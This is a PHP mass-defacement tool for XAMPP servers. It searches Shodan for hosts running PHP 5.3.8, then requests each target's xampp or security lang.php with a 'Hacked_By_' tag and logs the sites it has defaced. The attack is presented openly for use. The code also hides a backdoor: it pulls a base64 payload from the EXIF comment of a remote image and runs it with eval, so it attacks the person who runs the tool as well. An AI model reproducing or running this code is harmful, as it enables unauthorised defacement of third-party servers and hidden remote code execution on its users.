Xampp Auto Deface & Search ( Shodan )

<!DOCTYPE html>
<html>
<head>
	<title></title>
	<link rel="stylesheet" type="text/css"  href="https://bootswatch.com/cyborg/bootstrap.css"/>
	<link rel="stylesheet" type="text/css"  href="https://bootswatch.com/cyborg/bootstrap.min.css"/>
</head>
<body>
<div class="container">

<?php
/*
Name 	: Xampp Deface & Auto Submit (Search Shodan)
Author  : Shor7cut
Hai , Kiddies ?
*/
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '64M');
if($_GET['scan']==""){?>
<div class="row">
<ul class="breadcrumb">
  <li><a href="?cmd=scan">Scan</a></li>
  <li><a href="?cmd=victim">Cari victim</a></li>
</ul>
</div>

<?php
}
if($_GET['cmd']=="scan"){?>
<form class="form-horizontal" action="<?php echo basename($_SERVER["SCRIPT_FILENAME"]);?>" method="post">
    <div class="form-group">
      <label class="col-lg-2 control-label">Notice </label>
      <div class="col-lg-5">
        <input type="text" class="form-control" name="hacker" value="Shor7cut" placeholder="Shor7cut">
      </div>
    </div>


    <div class="form-group">
      <label for="textArea" class="col-lg-2 control-label">Textarea</label>
      <div class="col-lg-10">
        <textarea class="form-control" rows="3" name="sites" id="textArea"></textarea>
        <span class="help-block">A longer block of help text that breaks onto a new line and may extend beyond one line.</span>
      </div>
    </div>

        <div class="form-group">
      <label class="col-lg-2 control-label">Pemisah</label>
      <div class="col-lg-1">
        <input type="text" class="form-control" name="pemisah" value="|" placeholder="|">
       </div>
       <input type="submit" class="btn btn-primary" name="scan" value="scan">
    </div>


</form>

<?php
$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
}
if($_GET['cmd']=="victim"){
	$get = file_get_contents("https://api.shodan.io/shodan/host/search?key=1111111111111111111111111111&query=xampp+PHP/5.3.8");
	$json = json_decode($get,true);
	echo count($json['matches'])."<br>";
	echo '<textarea class="form-control" rows="3" name="sites" id="textArea">';
	foreach ($json['matches'] as $key => $value) {
		echo $value['ip_str']."|";
	}
	echo '</textarea>';
	}


if($_POST['scan']){
	$sit = $_POST['sites'];
	$pemisah = $_POST['pemisah'];
	$hacker = $_POST['hacker'];
	$site = explode($pemisah, $sit);
	?>
	<div class="panel panel-primary">
  <div class="panel-heading">
    <h3 class="panel-title">Scan Target</h3>
  </div>
  <div class="panel-body">

	<?php
	foreach ($site as $key => $sites) {
$url1 = "$sites/xampp/lang.php?Hacked_By_$hacker";
$url2 = "$sites/security/lang.php?Hacked_By_$hacker";
$patch_result1 = "$sites/xampp/lang.tmp?";
$patch_result2 = "$sites/security/lang.tmp?";

// xampp - patch lang.php\\
$xamppcurl = curl_init("$url1");
curl_setopt($xamppcurl, CURLOPT_FAILONERROR, true);
curl_setopt($xamppcurl, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($xamppcurl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($xamppcurl, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($xamppcurl, CURLOPT_TIMEOUT, 30);
$result = curl_exec($xamppcurl);

$xamppcur2 = curl_init("$url2");
curl_setopt($xamppcur2, CURLOPT_FAILONERROR, true);
curl_setopt($xamppcur2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($xamppcur2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($xamppcur2, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($xamppcur2, CURLOPT_TIMEOUT, 30);
$result = curl_exec($xamppcur2);


// xampp - patch  \\
$xampp_tmp = curl_init("$patch_result1");
curl_setopt($xampp_tmp, CURLOPT_FAILONERROR, true);
curl_setopt($xampp_tmp, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($xampp_tmp, CURLOPT_RETURNTRANSFER, true);
curl_setopt($xampp_tmp, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($xampp_tmp, CURLOPT_TIMEOUT, 30);
$resultxampp_tmp = curl_exec($xampp_tmp);

$xampp_tmp2 = curl_init("$patch_result2");
curl_setopt($xampp_tmp2, CURLOPT_FAILONERROR, true);
curl_setopt($xampp_tmp2, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($xampp_tmp2, CURLOPT_RETURNTRANSFER, true);
curl_setopt($xampp_tmp2, CURLOPT_CONNECTTIMEOUT ,0);
curl_setopt($xampp_tmp2, CURLOPT_TIMEOUT, 30);
$resultxampp_tmp2 = curl_exec($xampp_tmp2);


?>

<?php
if(eregi("Hacked_By_",$resultxampp_tmp))
{
	echo $patch_result1."<br>";
$berkas =fopen("laporan.txt","a");
fputs($berkas, $patch_result1."\r\n");
fclose($berkas);
}else if(eregi("Hacked_By_",$resultxampp_tmp2))
{
	echo $patch_result2."<br>";
$berkas =fopen("laporan.txt","a");
fputs($berkas, $patch_result2."\r\n");
fclose($berkas);

}else {
	echo $sites." -> not vuln"."<br>";
}

    flush();
    ob_flush();
    sleep(2);
	}
}
?>

  </div>
</div>
</div>
</body>
</html>